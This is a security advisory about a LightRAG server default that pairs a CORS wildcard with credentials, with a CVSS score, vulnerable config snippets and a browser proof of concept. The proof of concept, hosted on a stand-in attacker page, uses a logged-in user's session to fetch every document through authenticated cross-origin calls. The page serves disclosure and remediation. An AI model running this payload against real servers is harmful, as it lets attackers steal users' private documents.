LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
30일 내 악용 확률 예측
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N상세 설명
Summary
The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.
Details
1# lightrag/api/config.py:639 2args.cors_origins = get_env_value("CORS_ORIGINS", "*") # default wildcard 3 4# lightrag/api/lightrag_server.py:1379 5app.add_middleware( 6 CORSMiddleware, 7 allow_origins=["*"], # any origin 8 allow_credentials=True, # credentials — PROBLEM with wildcard 9 allow_methods=["*"],10 allow_headers=["*"],11)12 13# Starlette CORSMiddleware (confirmed in source):14# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials15# = not True or True = True → echoes the requesting origin back, not "*"16# Result: every origin receives Access-Control-Allow-Credentials: truePoC
Host on any origin. Open in browser where user is logged in to LightRAG:
1<!-- attacker.com/steal.html --> 2<script> 3const TARGET = "http://lightrag-server:9621"; 4(async () => { 5 // Get victim token (or re-use existing session) 6 const r1 = await fetch(`${TARGET}/login`, { 7 method: "POST", credentials: "include", 8 headers: {"Content-Type": "application/x-www-form-urlencoded"}, 9 body: "username=victim&password=known_pass"10 });11 const { access_token } = await r1.json();12 13 // Exfiltrate all documents14 const docs = await (await fetch(`${TARGET}/documents`, {15 credentials: "include",16 headers: { Authorization: `Bearer ${access_token}` }17 })).json();18 console.log("STOLEN DOCS:", docs);19})();20</script>Impact
Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 8
링크 내용 불러오는 중…